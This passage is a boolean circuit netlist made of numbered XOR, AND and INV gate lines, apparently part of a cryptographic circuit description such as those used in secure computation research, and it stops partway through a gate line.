XOR +2 1 35915 1488 34197 XOR +2 1 34197 34192 25497 XOR +2 1 34194 34197 25498 XOR +2 1 34195 34197 25404 XOR +1 1 28164 33122 INV +2 1 33173 33122 9150 XOR +2 1 33161 33122 9423 XOR +2 1 9423 9416 9284 XOR +2 1 9284 9285 9283 XOR +1 1 9283 35909 INV +2 1 35909 1494 34191 XOR +2 1 34191 34192 25420 XOR +2 1 34197 34191 25499 XOR +2 1 34191 34193 25403 XOR +2 1 34192 25403 25405 XOR +2 1 25403 25498 25490 XOR +2 1 25498 25420 25494 XOR +2 1 25490 25494 25483 AND +2 1 34190 25490 25489 XOR +2 1 9423 9382 9262 XOR +2 1 33173 9262 35924 XOR +2 1 35924 1479 34206 XOR +2 1 34206 26470 26469 XOR +2 1 34206 34212 26390 XOR +2 1 9149 9150 9466 XOR +2 1 9466 9422 35917 XOR +2 1 35917 1486 34199 XOR +2 1 34199 34201 23726 XOR +2 1 34199 34200 23743 XOR +2 1 34205 34199 23822 XOR +2 1 34200 23726 23728 XOR +2 1 34195 25405 25484 XOR +2 1 25499 25484 25480 AND +2 1 25480 25404 25408 XOR +2 1 9423 9390 9272 XOR +2 1 32814 9272 35916 XOR +2 1 35916 1487 34198 XOR +2 1 33122 9298 35900 XOR +2 1 35900 1503 34182 XOR +2 1 34182 29410 29409 XOR +2 1 34182 34188 29330 XOR +2 1 29330 29325 29406 XOR +2 1 34202 34205 23821 XOR +2 1 23726 23821 23813 XOR +2 1 34198 23813 23812 XOR +1 1 28161 33128 INV +2 1 33128 36018 9295 XOR +2 1 9294 9295 35905 XOR +2 1 35905 1498 34187 XOR +2 1 34187 29325 29404 XOR +2 1 34187 34189 29324 XOR +2 1 29324 29420 29405 XOR +2 1 29324 29330 29413 XOR +2 1 29340 29413 29411 XOR +2 1 34187 29330 29416 XOR +2 1 34183 29416 29412 XOR +2 1 29326 29324 29286 XOR +2 1 29323 29286 29408 XOR +2 1 29326 34187 29285 XOR +2 1 34182 29285 29415 XOR +2 1 29411 29409 29402 AND +2 1 29415 34182 29401 AND +2 1 29419 29404 29400 AND +2 1 29400 29324 29328 XOR +2 1 29416 29412 29399 AND +2 1 29413 29406 29398 AND +2 1 29420 29405 29396 AND +2 1 29396 29402 29347 XOR +2 1 29347 29338 29394 XOR +2 1 29396 29397 29299 XOR +2 1 29299 29300 29346 XOR +2 1 29346 29328 29345 XOR +2 1 29399 29345 29393 XOR +2 1 29417 29408 29395 AND +2 1 29395 29398 29348 XOR +2 1 29395 29401 29352 XOR +2 1 29352 29324 29339 XOR +2 1 29347 29339 29391 XOR +2 1 29396 29348 29342 XOR +2 1 29328 29348 29302 XOR +2 1 29302 29327 29392 XOR +2 1 29333 29352 29301 XOR +2 1 34187 29301 29344 XOR +2 1 29399 29342 29298 XOR +2 1 34183 29298 29386 XOR +2 1 29394 29393 29390 AND +2 1 29390 29344 29385 XOR +2 1 29390 29392 29389 XOR +2 1 29391 29389 29388 AND +2 1 29388 29344 29387 XOR +2 1 29388 29400 29293 XOR +2 1 29293 29329 29289 XOR +2 1 34189 29289 29292 XOR +2 1 29388 29338 29290 XOR +2 1 34187 29289 29288 XOR +2 1 29385 29386 29384 AND +2 1 29384 29392 29383 XOR +2 1 29390 29384 29382 XOR +2 1 29384 29342 29297 XOR +2 1 29384 29401 29296 XOR +2 1 29296 29398 29291 XOR +2 1 29291 29292 29375 XOR +2 1 29392 29382 29381 AND +2 1 29381 29389 29379 XOR +2 1 29381 29399 29351 XOR +2 1 29351 29345 29373 XOR +2 1 34183 29351 29334 XOR +2 1 29334 29297 29380 XOR +2 1 29387 29379 29378 AND +2 1 29378 29347 29337 XOR +2 1 29337 29339 29377 XOR +2 1 29378 29402 29295 XOR +2 1 29334 29295 29287 XOR +2 1 29324 29287 29294 XOR +2 1 29291 29294 29376 XOR +2 1 29337 29290 29374 XOR +2 1 29287 29288 29372 XOR +2 1 29373 29410 29371 AND +2 1 29380 29409 29370 AND +2 1 29383 34182 29369 AND +2 1 29369 29371 29350 XOR +2 1 29374 29404 29368 AND +2 1 29377 29416 29367 AND +2 1 29367 29368 29353 XOR +2 1 29387 29406 29366 AND +2 1 29366 29367 29304 XOR +2 1 29375 29407 29365 AND +2 1 29372 29405 29364 AND +2 1 29364 29353 29343 XOR +2 1 29364 29367 29319 XOR +1 1 29319 29316 INV +2 1 29364 29365 29315 XOR +2 1 29365 29343 29303 XOR +2 1 29376 29408 29363 AND +2 1 29373 29414 29362 AND +2 1 29380 29411 29361 AND +2 1 29383 29415 29360 AND +2 1 29360 29343 29309 XOR +1 1 29309 29306 INV +2 1 29374 29419 29359 AND +2 1 29359 29363 29335 XOR +2 1 29368 29359 29320 XOR +1 1 29335 29313 INV +2 1 29377 29412 29358 AND +2 1 29366 29358 29322 XOR +2 1 29387 29413 29357 AND +2 1 29313 29357 29312 XOR +2 1 29312 29350 29308 XOR +2 1 29375 29418 29356 AND +2 1 29356 29308 29311 XOR +2 1 29372 29420 29355 AND +2 1 29355 29356 29349 XOR +2 1 29361 29349 29331 XOR +2 1 29362 29331 29332 XOR +2 1 29370 29332 29336 XOR +2 1 29371 29336 29341 XOR +2 1 29353 29341 36199 XOR +2 1 10203 36199 10025 XOR +1 1 10025 10023 INV +2 1 29322 29349 29318 XOR +2 1 29350 29318 29321 XOR +2 1 29320 29321 29424 XOR +2 1 29313 29318 29317 XOR +2 1 29316 29317 29423 XOR +2 1 29341 29315 29422 XOR +2 1 29331 29308 29307 XOR +2 1 29306 29307 36197 XOR +2 1 36197 36201 9945 XOR +2 1 10078 36197 10076 XOR +2 1 29369 29336 29305 XOR +2 1 29304 29305 36198 XOR +2 1 29332 29303 36200 XOR +2 1 36200 36216 10163 XOR +2 1 10163 36198 9903 XOR +1 1 10163 10059 INV +2 1 10059 33091 10088 XOR +2 1 9903 9904 10242 XOR +2 1 29376 29417 29354 AND +2 1 29365 29354 29314 XOR +1 1 29314 29310 INV +2 1 29310 29311 29421 XOR +2 1 36199 36203 10211 XOR +2 1 10227 10211 36089 XOR +2 1 10211 10210 10075 XOR +1 1 10075 10073 INV +2 1 10073 10074 36097 XOR +2 1 36097 1379 34306 XOR +2 1 36198 36202 10220 XOR +1 1 10220 10102 INV +2 1 10220 10078 10089 XOR +2 1 10089 10090 36088 XOR +2 1 36088 1388 34297 XOR +2 1 10102 10207 10100 XOR +2 1 10023 10024 36074 XOR +2 1 36074 1402 34283 XOR +2 1 36089 1387 34298 XOR +2 1 10211 10203 10099 XOR +2 1 33121 33128 9265 XOR +2 1 9264 9265 35922 XOR +2 1 35922 1481 34204 XOR +2 1 34202 34204 23729 XOR +2 1 34204 23728 23810 XOR +2 1 23821 23810 23800 AND +2 1 23800 23728 23730 XOR +2 1 10059 36202 10058 XOR +2 1 33166 33128 9407 XOR +2 1 9407 32815 9268 XOR +1 1 9268 9266 INV +2 1 9407 9401 9275 XOR +2 1 33179 9275 35914 XOR +2 1 35914 1489 34196 XOR +2 1 34194 34196 25406 XOR +2 1 25406 25404 25366 XOR +2 1 25403 25366 25488 XOR +2 1 25406 34195 25365 XOR +2 1 34190 25365 25495 XOR +2 1 25495 34190 25481 AND +2 1 25497 25488 25475 AND +2 1 25475 25481 25432 XOR +2 1 25432 25404 25419 XOR +2 1 25483 25406 25409 XOR +2 1 34190 34196 25410 XOR +2 1 34195 25410 25496 XOR +2 1 34191 25496 25492 XOR +2 1 25496 25492 25479 AND +2 1 25404 25410 25493 XOR +2 1 25420 25493 25491 XOR +2 1 25491 25489 25482 AND +2 1 25410 25405 25486 XOR +2 1 25493 25486 25478 AND +2 1 25475 25478 25428 XOR +2 1 25408 25428 25382 XOR +2 1 34196 25405 25487 XOR +2 1 25498 25487 25477 AND +2 1 25477 25405 25407 XOR +2 1 25409 25407 25413 XOR +2 1 34197 25413 25418 XOR +2 1 25382 25407 25472 XOR +2 1 25413 25432 25381 XOR +2 1 34195 25381 25424 XOR +2 1 9407 9403 9249 XOR +2 1 33178 9249 35929 XOR +2 1 35929 1474 34211 XOR +2 1 34211 34213 26384 XOR +2 1 26386 26384 26346 XOR +2 1 26383 26346 26468 XOR +2 1 26384 26390 26473 XOR +2 1 26386 34211 26345 XOR +2 1 34206 26345 26475 XOR +2 1 26475 34206 26461 AND +2 1 34211 26390 26476 XOR +2 1 34207 26476 26472 XOR +2 1 26476 26472 26459 AND +2 1 36200 36206 10156 XOR +2 1 10200 10156 10069 XOR +2 1 10156 36198 9944 XOR +2 1 9944 9945 10225 XOR +2 1 10225 10210 36080 XOR +2 1 36080 1396 34289 XOR +1 1 10156 10247 INV +2 1 10247 33117 9942 XOR +2 1 10247 36216 10080 XOR +2 1 10080 10081 36092 XOR +2 1 36092 1384 34301 XOR +2 1 34298 34301 25918 XOR +2 1 10247 36199 10101 XOR +2 1 10100 10101 36081 XOR +2 1 36081 1395 34290 XOR +2 1 34198 34204 23733 XOR +2 1 23733 23728 23809 XOR +2 1 10076 10077 36095 XOR +2 1 36095 1381 34304 XOR +2 1 34304 34306 26200 XOR +2 1 36197 36212 10198 XOR +2 1 10198 10197 10092 XOR +2 1 36201 10092 36087 XOR +2 1 36087 1389 34296 XOR +2 1 34297 34296 25800 XOR +2 1 34296 34298 25920 XOR +1 1 10198 10060 INV +2 1 10060 33124 10129 XOR +2 1 10210 10060 10057 XOR +2 1 10057 10058 36072 XOR +2 1 36072 1404 34281 XOR +2 1 34301 34296 25917 XOR +2 1 10196 10163 10148 XOR +2 1 33092 10148 36069 XOR +2 1 36069 1407 34278 XOR +2 1 10223 10220 36096 XOR +2 1 9266 9267 35921 XOR +2 1 35921 1482 34203 XOR +2 1 34203 23728 23807 XOR +2 1 23729 34203 23688 XOR +2 1 34198 23688 23818 XOR +2 1 34203 23733 23819 XOR +2 1 23818 34198 23804 AND +2 1 23822 23807 23803 AND +2 1 34203 34205 23727 XOR +2 1 23727 23823 23808 XOR +2 1 23803 23727 23731 XOR +2 1 23727 23733 23816 XOR +2 1 23816 23809 23801 AND +2 1 23729 23727 23689 XOR +2 1 23726 23689 23811 XOR +2 1 23820 23811 23798 AND +2 1 23823 23808 23799 AND +2 1 23799 23800 23702 XOR +2 1 23702 23703 23749 XOR +2 1 23749 23731 23748 XOR +2 1 23743 23816 23814 XOR +2 1 23814 23812 23805 AND +2 1 23799 23805 23750 XOR +2 1 34199 23819 23815 XOR +2 1 23819 23815 23802 AND +2 1 23802 23748 23796 XOR +2 1 23798 23801 23751 XOR +2 1 23799 23751 23745 XOR +2 1 23802 23745 23701 XOR +2 1 34199 23701 23789 XOR +2 1 23731 23751 23705 XOR +2 1 23705 23730 23795 XOR +2 1 23798 23804 23755 XOR +2 1 23755 23727 23742 XOR +2 1 23750 23742 23794 XOR +1 1 29422 33149 INV +2 1 10248 33149 9986 XOR +2 1 9986 9987 36076 XOR +2 1 36076 1400 34285 XOR +2 1 34283 34285 10288 XOR +2 1 33149 36205 10206 XOR +2 1 10206 10203 10070 XOR +2 1 32826 10070 36099 XOR +2 1 10206 10155 10097 XOR +2 1 36099 1377 34308 XOR +2 1 34306 34308 26106 XOR +2 1 36200 10097 36084 XOR +2 1 36084 1392 34293 XOR +2 1 34290 34293 25358 XOR +2 1 10206 26622 10082 XOR +2 1 10082 10083 36091 XOR +2 1 36091 1385 34300 XOR +2 1 34298 34300 25826 XOR +1 1 29423 33150 INV +2 1 33150 32827 9947 XOR +2 1 9946 9947 10224 XOR +2 1 10224 10197 36094 XOR +2 1 36094 1382 34303 XOR +2 1 34303 34304 26120 XOR +2 1 33150 9950 10130 XOR +2 1 10129 10130 36079 XOR +2 1 36079 1397 34288 XOR +2 1 34288 34290 25360 XOR +2 1 34293 34288 25357 XOR +2 1 34289 34288 25240 XOR +2 1 33150 33091 10218 XOR +2 1 10218 10196 10094 XOR +2 1 10094 10095 10093 XOR +1 1 10093 36086 INV +2 1 36086 1390 34295 XOR +2 1 34295 34297 25823 XOR +2 1 34301 34295 25919 XOR +2 1 10218 10195 10071 XOR +2 1 36212 10071 36071 XOR +2 1 36071 1405 34280 XOR +2 1 34285 34280 10381 XOR +2 1 34281 34280 10264 XOR +2 1 25823 25918 25910 XOR +2 1 34296 25823 25825 XOR +2 1 34300 25825 25907 XOR +2 1 25918 25907 25897 AND +2 1 25897 25825 25827 XOR +2 1 34295 34296 25840 XOR +2 1 25918 25840 25914 XOR +1 1 29424 33151 INV +2 1 9897 33151 9943 XOR +2 1 33151 10079 36093 XOR +2 1 36093 1383 34302 XOR +2 1 34302 34308 26110 XOR +2 1 9942 9943 10226 XOR +2 1 10226 10218 36078 XOR +2 1 36078 1398 34287 XOR +2 1 34293 34287 25359 XOR +2 1 34287 34288 25280 XOR +2 1 25358 25280 25354 XOR +2 1 34287 34289 25263 XOR +2 1 34288 25263 25265 XOR +2 1 25263 25358 25350 XOR +2 1 25350 25354 25343 AND +2 1 33151 33092 10219 XOR +2 1 10219 10157 10096 XOR +2 1 33117 10096 36085 XOR +2 1 36085 1391 34294 XOR +2 1 10219 10197 10087 XOR +2 1 10087 10088 10086 XOR +1 1 10086 36070 INV +2 1 36070 1406 34279 XOR +2 1 34279 34281 10287 XOR +2 1 34279 34280 10304 XOR +2 1 34285 34279 10383 XOR +2 1 34294 25910 25909 XOR +2 1 34294 34300 25830 XOR +2 1 25830 25825 25906 XOR +2 1 10219 10156 9970 XOR +2 1 32827 9970 36077 XOR +2 1 36077 1399 34286 XOR +2 1 34286 25350 25349 XOR +1 1 29421 33156 INV +2 1 10200 33156 10006 XOR +2 1 10006 10007 10005 XOR +2 1 33156 36204 10208 XOR +2 1 10208 10207 10072 XOR +2 1 10208 33090 10084 XOR +2 1 10084 10085 36090 XOR +2 1 32825 10072 36098 XOR +2 1 36098 1378 34307 XOR +2 1 26106 34307 26065 XOR +2 1 34302 26065 26195 XOR +2 1 26195 34302 26181 AND +2 1 34307 26110 26196 XOR +2 1 34303 26196 26192 XOR +2 1 26196 26192 26179 AND +2 1 36090 1386 34299 XOR +2 1 34299 25825 25904 XOR +2 1 25919 25904 25900 AND +2 1 34299 25830 25916 XOR +2 1 10208 10200 10098 XOR +2 1 33149 10098 36083 XOR +2 1 36083 1393 34292 XOR +2 1 34286 34292 25270 XOR +2 1 25270 25265 25346 XOR +2 1 34292 25265 25347 XOR +2 1 25358 25347 25337 AND +2 1 25337 25265 25267 XOR +2 1 25826 34299 25785 XOR +2 1 34294 25785 25915 XOR +2 1 25915 34294 25901 AND +2 1 34299 34301 25824 XOR +2 1 25824 25830 25913 XOR +2 1 25913 25906 25898 AND +2 1 25826 25824 25786 XOR +2 1 25823 25786 25908 XOR +2 1 25917 25908 25895 AND +2 1 25895 25898 25848 XOR +2 1 25840 25913 25911 XOR +2 1 25895 25901 25852 XOR +2 1 25852 25824 25839 XOR +2 1 33156 10099 36082 XOR +2 1 36082 1394 34291 XOR +2 1 34291 25270 25356 XOR +2 1 34291 34293 25264 XOR +2 1 25264 25270 25353 XOR +2 1 25264 25360 25345 XOR +2 1 25360 25345 25336 AND +2 1 25336 25337 25239 XOR +2 1 25239 25240 25286 XOR +2 1 25353 25346 25338 AND +2 1 25280 25353 25351 XOR +2 1 25351 25349 25342 AND +2 1 34287 25356 25352 XOR +2 1 25356 25352 25339 AND +2 1 25900 25824 25828 XOR +2 1 25828 25848 25802 XOR +2 1 25802 25827 25892 XOR +1 1 10005 36075 INV +2 1 36075 1401 34284 XOR +2 1 25336 25342 25287 XOR +2 1 34295 25916 25912 XOR +2 1 25916 25912 25899 AND +2 1 34291 25265 25344 XOR +2 1 25359 25344 25340 AND +2 1 25340 25264 25268 XOR +2 1 25286 25268 25285 XOR +2 1 34278 34284 10294 XOR +2 1 10288 10294 10377 XOR +2 1 34283 10294 10380 XOR +2 1 10304 10377 10375 XOR +2 1 25824 25920 25905 XOR +2 1 25920 25905 25896 AND +2 1 25896 25848 25842 XOR +2 1 25899 25842 25798 XOR +2 1 34295 25798 25886 XOR +2 1 34279 10380 10376 XOR +2 1 10380 10376 10363 AND +2 1 25911 25909 25902 AND +2 1 25896 25902 25847 XOR +2 1 25847 25839 25891 XOR +2 1 36096 1380 34305 XOR +2 1 34303 34305 26103 XOR +2 1 34304 26103 26105 XOR +2 1 26110 26105 26186 XOR +2 1 34307 26105 26184 XOR +2 1 34308 26105 26187 XOR +2 1 34305 34304 26080 XOR +2 1 36025 9259 35926 XOR +2 1 35926 1477 34208 XOR +2 1 34208 26383 26385 XOR +2 1 34212 26385 26467 XOR +2 1 34211 26385 26464 XOR +2 1 26390 26385 26466 XOR +2 1 26479 26464 26460 AND +2 1 26478 26467 26457 AND +2 1 26473 26466 26458 AND +2 1 26457 26385 26387 XOR +2 1 34213 34208 26477 XOR +2 1 26477 26468 26455 AND +2 1 26455 26458 26408 XOR +2 1 26460 26384 26388 XOR +2 1 26455 26461 26412 XOR +2 1 26412 26384 26399 XOR +2 1 34207 34208 26400 XOR +2 1 26400 26473 26471 XOR +2 1 26471 26469 26462 AND +2 1 26478 26400 26474 XOR +2 1 26470 26474 26463 AND +2 1 26463 26386 26389 XOR +2 1 26389 26387 26393 XOR +2 1 34213 26393 26398 XOR +2 1 26393 26412 26361 XOR +2 1 34211 26361 26404 XOR +2 1 34209 34208 26360 XOR +2 1 34208 34210 26480 XOR +2 1 26384 26480 26465 XOR +2 1 26480 26465 26456 AND +2 1 26456 26408 26402 XOR +2 1 26459 26402 26358 XOR +2 1 26456 26457 26359 XOR +2 1 26359 26360 26406 XOR +2 1 26406 26388 26405 XOR +2 1 26459 26405 26453 XOR +2 1 34207 26358 26446 XOR +2 1 26456 26462 26407 XOR +2 1 26407 26399 26451 XOR +2 1 26407 26398 26454 XOR +2 1 26454 26453 26450 AND +2 1 26450 26404 26445 XOR +2 1 26445 26446 26444 AND +2 1 26444 26461 26356 XOR +2 1 26450 26444 26442 XOR +2 1 26356 26458 26351 XOR +2 1 26444 26402 26357 XOR +2 1 26388 26408 26362 XOR +2 1 26362 26387 26452 XOR +2 1 26452 26442 26441 AND +2 1 26444 26452 26443 XOR +2 1 26443 26475 26420 AND +2 1 26443 34206 26429 AND +2 1 26450 26452 26449 XOR +2 1 26441 26449 26439 XOR +2 1 26451 26449 26448 AND +2 1 26448 26404 26447 XOR +2 1 26447 26473 26417 AND +2 1 26447 26439 26438 AND +2 1 26438 26462 26355 XOR +2 1 26448 26398 26350 XOR +2 1 26447 26466 26426 AND +2 1 26448 26460 26353 XOR +2 1 26441 26459 26411 XOR +2 1 26411 26405 26433 XOR +2 1 26433 26470 26431 AND +2 1 26433 26474 26422 AND +2 1 26429 26431 26410 XOR +2 1 34207 26411 26394 XOR +2 1 26394 26355 26347 XOR +2 1 26384 26347 26354 XOR +2 1 26351 26354 26436 XOR +2 1 26436 26468 26423 AND +2 1 26436 26477 26414 AND +2 1 26353 26389 26349 XOR +2 1 34211 26349 26348 XOR +2 1 26347 26348 26432 XOR +2 1 26432 26465 26424 AND +2 1 34213 26349 26352 XOR +2 1 26432 26480 26415 AND +2 1 26438 26407 26397 XOR +2 1 26397 26399 26437 XOR +2 1 26437 26472 26418 AND +2 1 26426 26418 26382 XOR +2 1 26397 26350 26434 XOR +2 1 26434 26479 26419 AND +2 1 26434 26464 26428 AND +2 1 26428 26419 26380 XOR +2 1 26437 26476 26427 AND +2 1 26424 26427 26379 XOR +1 1 26379 26376 INV +2 1 26427 26428 26413 XOR +2 1 26424 26413 26403 XOR +2 1 26419 26423 26395 XOR +1 1 26395 26373 INV +2 1 26373 26417 26372 XOR +2 1 26372 26410 26368 XOR +2 1 26426 26427 26364 XOR +2 1 26394 26357 26440 XOR +2 1 26440 26471 26421 AND +2 1 26420 26403 26369 XOR +1 1 26369 26366 INV +2 1 26351 26352 26435 XOR +2 1 26435 26467 26425 AND +2 1 26425 26414 26374 XOR +1 1 26374 26370 INV +2 1 26424 26425 26375 XOR +2 1 26425 26403 26363 XOR +2 1 26435 26478 26416 AND +2 1 26416 26368 26371 XOR +2 1 26370 26371 26481 XOR +2 1 26415 26416 26409 XOR +2 1 26421 26409 26391 XOR +2 1 26391 26368 26367 XOR +2 1 26366 26367 36230 XOR +2 1 26382 26409 26378 XOR +2 1 26422 26391 26392 XOR +2 1 26392 26363 36233 XOR +2 1 36220 36233 10162 XOR +1 1 10162 9907 INV +2 1 26410 26378 26381 XOR +2 1 26380 26381 26484 XOR +2 1 26373 26378 26377 XOR +2 1 26376 26377 26483 XOR +2 1 9907 36230 9908 XOR +1 1 26481 33085 INV +2 1 33085 32824 10063 XOR +1 1 26483 33087 INV +1 1 26484 33088 INV +2 1 9907 33088 9905 XOR +2 1 26440 26469 26430 AND +2 1 26430 26392 26396 XOR +2 1 26429 26396 26365 XOR +2 1 26431 26396 26401 XOR +2 1 26364 26365 36231 XOR +2 1 26413 26401 36232 XOR +2 1 26401 26375 26482 XOR +2 1 10162 36231 9911 XOR +1 1 26482 33086 INV +2 1 32818 33086 10171 XOR +2 1 34280 10287 10289 XOR +2 1 10294 10289 10370 XOR +2 1 10377 10370 10362 AND +2 1 34283 10289 10368 XOR +2 1 10383 10368 10364 AND +2 1 34284 10289 10371 XOR +2 1 10364 10288 10292 XOR +2 1 25896 25897 25799 XOR +2 1 25799 25800 25846 XOR +2 1 25846 25828 25845 XOR +2 1 25899 25845 25893 XOR +2 1 10242 10207 36073 XOR +2 1 36073 1403 34282 XOR +2 1 34280 34282 10384 XOR +2 1 10288 10384 10369 XOR +2 1 10384 10369 10360 AND +2 1 34282 34284 10290 XOR +2 1 10290 10288 10250 XOR +2 1 10287 10250 10372 XOR +2 1 10381 10372 10359 AND +2 1 34282 34285 10382 XOR +2 1 10287 10382 10374 XOR +2 1 34278 10374 10373 XOR +2 1 10375 10373 10366 AND +2 1 10382 10371 10361 AND +2 1 10361 10289 10291 XOR +2 1 10360 10361 10263 XOR +2 1 10263 10264 10310 XOR +2 1 10310 10292 10309 XOR +2 1 10363 10309 10357 XOR +2 1 10382 10304 10378 XOR +2 1 10374 10378 10367 AND +2 1 10367 10290 10293 XOR +2 1 10293 10291 10297 XOR +2 1 34285 10297 10302 XOR +2 1 10360 10366 10311 XOR +2 1 10311 10302 10358 XOR +2 1 10358 10357 10354 AND +2 1 10359 10362 10312 XOR +2 1 10292 10312 10266 XOR +2 1 10266 10291 10356 XOR +2 1 10354 10356 10353 XOR +2 1 10360 10312 10306 XOR +2 1 10363 10306 10262 XOR +2 1 34279 10262 10350 XOR +2 1 10290 34283 10249 XOR +2 1 34278 10249 10379 XOR +2 1 10379 34278 10365 AND +2 1 10359 10365 10316 XOR +2 1 10297 10316 10265 XOR +2 1 34283 10265 10308 XOR +2 1 10354 10308 10349 XOR +2 1 10349 10350 10348 AND +2 1 10348 10356 10347 XOR +2 1 10347 10379 10324 AND +2 1 10348 10365 10260 XOR +2 1 10347 34278 10333 AND +2 1 10260 10362 10255 XOR +2 1 10348 10306 10261 XOR +2 1 10354 10348 10346 XOR +2 1 10356 10346 10345 AND +2 1 10345 10353 10343 XOR +2 1 10316 10288 10303 XOR +2 1 10311 10303 10355 XOR +2 1 10355 10353 10352 AND +2 1 10352 10308 10351 XOR +2 1 10352 10302 10254 XOR +2 1 10351 10370 10330 AND +2 1 10352 10364 10257 XOR +2 1 10257 10293 10253 XOR +2 1 34283 10253 10252 XOR +2 1 10351 10377 10321 AND +2 1 10351 10343 10342 AND +2 1 10342 10366 10259 XOR +2 1 34285 10253 10256 XOR +2 1 10255 10256 10339 XOR +2 1 10339 10382 10320 AND +2 1 10339 10371 10329 AND +2 1 10342 10311 10301 XOR +2 1 10301 10303 10341 XOR +2 1 10341 10380 10331 AND +2 1 10341 10376 10322 AND +2 1 10301 10254 10338 XOR +2 1 10338 10368 10332 AND +2 1 10330 10331 10268 XOR +2 1 10330 10322 10286 XOR +2 1 10338 10383 10323 AND +2 1 10332 10323 10284 XOR +2 1 10345 10363 10315 XOR +2 1 10315 10309 10337 XOR +2 1 10337 10374 10335 AND +2 1 10337 10378 10326 AND +2 1 10333 10335 10314 XOR +2 1 34279 10315 10298 XOR +2 1 10298 10261 10344 XOR +2 1 10344 10373 10334 AND +2 1 10344 10375 10325 AND +2 1 10298 10259 10251 XOR +2 1 10288 10251 10258 XOR +2 1 10251 10252 10336 XOR +2 1 10336 10369 10328 AND +2 1 10328 10331 10283 XOR +1 1 10283 10280 INV +2 1 10328 10329 10279 XOR +2 1 10336 10384 10319 AND +2 1 10255 10258 10340 XOR +2 1 10340 10381 10318 AND +2 1 10340 10372 10327 AND +2 1 10329 10318 10278 XOR +1 1 10278 10274 INV +2 1 10319 10320 10313 XOR +2 1 10325 10313 10295 XOR +2 1 10286 10313 10282 XOR +2 1 10314 10282 10285 XOR +2 1 10284 10285 10388 XOR +1 1 10388 32830 INV +2 1 10326 10295 10296 XOR +2 1 10323 10327 10299 XOR +1 1 10299 10277 INV +2 1 10277 10282 10281 XOR +2 1 10277 10321 10276 XOR +2 1 10276 10314 10272 XOR +2 1 10320 10272 10275 XOR +2 1 10274 10275 10385 XOR +2 1 10280 10281 10387 XOR +2 1 10295 10272 10271 XOR +1 1 10387 32829 INV +1 1 10385 32834 INV +2 1 10331 10332 10317 XOR +2 1 10328 10317 10307 XOR +2 1 10324 10307 10273 XOR +1 1 10273 10270 INV +2 1 10270 10271 36454 XOR +2 1 10329 10307 10267 XOR +2 1 10296 10267 36458 XOR +2 1 25339 25285 25333 XOR +2 1 10334 10296 10300 XOR +2 1 10335 10300 10305 XOR +2 1 10317 10305 36456 XOR +1 1 36456 11423 INV +2 1 10305 10279 10386 XOR +1 1 10386 36457 INV +2 1 10333 10300 10269 XOR +2 1 10268 10269 36455 XOR +2 1 10386 32834 11597 XOR +2 1 25910 25914 25903 AND +2 1 25903 25826 25829 XOR +2 1 25829 25827 25833 XOR +2 1 34301 25833 25838 XOR +2 1 25847 25838 25894 XOR +2 1 25894 25893 25890 AND +2 1 25890 25892 25889 XOR +2 1 25891 25889 25888 AND +2 1 25888 25900 25793 XOR +2 1 25888 25838 25790 XOR +2 1 25793 25829 25789 XOR +2 1 34299 25789 25788 XOR +2 1 34301 25789 25792 XOR +2 1 25833 25852 25801 XOR +2 1 34299 25801 25844 XOR +2 1 25888 25844 25887 XOR +2 1 25887 25906 25866 AND +2 1 25887 25913 25857 AND +2 1 25890 25844 25885 XOR +2 1 25885 25886 25884 AND +2 1 25890 25884 25882 XOR +2 1 25892 25882 25881 AND +2 1 25881 25899 25851 XOR +2 1 25884 25842 25797 XOR +2 1 34295 25851 25834 XOR +2 1 25881 25889 25879 XOR +2 1 25887 25879 25878 AND +2 1 25878 25847 25837 XOR +2 1 25837 25839 25877 XOR +2 1 25877 25912 25858 AND +2 1 25877 25916 25867 AND +2 1 25866 25858 25822 XOR +2 1 25851 25845 25873 XOR +2 1 25873 25910 25871 AND +2 1 25873 25914 25862 AND +2 1 25834 25797 25880 XOR +2 1 25880 25909 25870 AND +2 1 25880 25911 25861 AND +2 1 25837 25790 25874 XOR +2 1 25874 25919 25859 AND +2 1 25874 25904 25868 AND +2 1 25884 25901 25796 XOR +2 1 25868 25859 25820 XOR +2 1 25867 25868 25853 XOR +2 1 25884 25892 25883 XOR +2 1 25883 25915 25860 AND +2 1 25883 34294 25869 AND +2 1 25869 25871 25850 XOR +2 1 25796 25898 25791 XOR +2 1 25791 25792 25875 XOR +2 1 25875 25918 25856 AND +2 1 25875 25907 25865 AND +2 1 25878 25902 25795 XOR +2 1 25866 25867 25804 XOR +2 1 25834 25795 25787 XOR +2 1 25824 25787 25794 XOR +2 1 25791 25794 25876 XOR +2 1 25876 25917 25854 AND +2 1 25876 25908 25863 AND +2 1 25865 25854 25814 XOR +1 1 25814 25810 INV +2 1 25859 25863 25835 XOR +1 1 25835 25813 INV +2 1 25787 25788 25872 XOR +2 1 25872 25920 25855 AND +2 1 25855 25856 25849 XOR +2 1 25872 25905 25864 AND +2 1 25861 25849 25831 XOR +2 1 25864 25865 25815 XOR +2 1 25864 25853 25843 XOR +2 1 25865 25843 25803 XOR +2 1 25864 25867 25819 XOR +2 1 25822 25849 25818 XOR +2 1 25813 25818 25817 XOR +1 1 25819 25816 INV +2 1 25816 25817 25923 XOR +2 1 25813 25857 25812 XOR +2 1 25812 25850 25808 XOR +2 1 25831 25808 25807 XOR +2 1 25856 25808 25811 XOR +2 1 25810 25811 25921 XOR +2 1 25860 25843 25809 XOR +1 1 25809 25806 INV +2 1 25806 25807 36427 XOR +2 1 25862 25831 25832 XOR +2 1 25870 25832 25836 XOR +2 1 25871 25836 25841 XOR +2 1 25841 25815 25922 XOR +2 1 25832 25803 36430 XOR +2 1 25853 25841 36429 XOR +1 1 36429 11490 INV +2 1 25850 25818 25821 XOR +2 1 25820 25821 25924 XOR +1 1 25922 33069 INV +2 1 36430 33069 11485 XOR +1 1 25923 33070 INV +1 1 25924 33071 INV +1 1 25921 33076 INV +2 1 25869 25836 25805 XOR +2 1 25804 25805 36428 XOR +2 1 23821 23743 23817 XOR +2 1 23813 23817 23806 AND +2 1 23806 23729 23732 XOR +2 1 23732 23730 23736 XOR +2 1 34205 23736 23741 XOR +2 1 23736 23755 23704 XOR +2 1 34203 23704 23747 XOR +2 1 23750 23741 23797 XOR +2 1 23797 23796 23793 AND +2 1 23793 23747 23788 XOR +2 1 23793 23795 23792 XOR +2 1 23794 23792 23791 AND +2 1 23791 23747 23790 XOR +2 1 23790 23809 23769 AND +2 1 23791 23803 23696 XOR +2 1 23791 23741 23693 XOR +2 1 23696 23732 23692 XOR +2 1 23790 23816 23760 AND +2 1 34205 23692 23695 XOR +2 1 34203 23692 23691 XOR +2 1 23788 23789 23787 AND +2 1 23793 23787 23785 XOR +2 1 23787 23795 23786 XOR +2 1 23786 23818 23763 AND +2 1 23795 23785 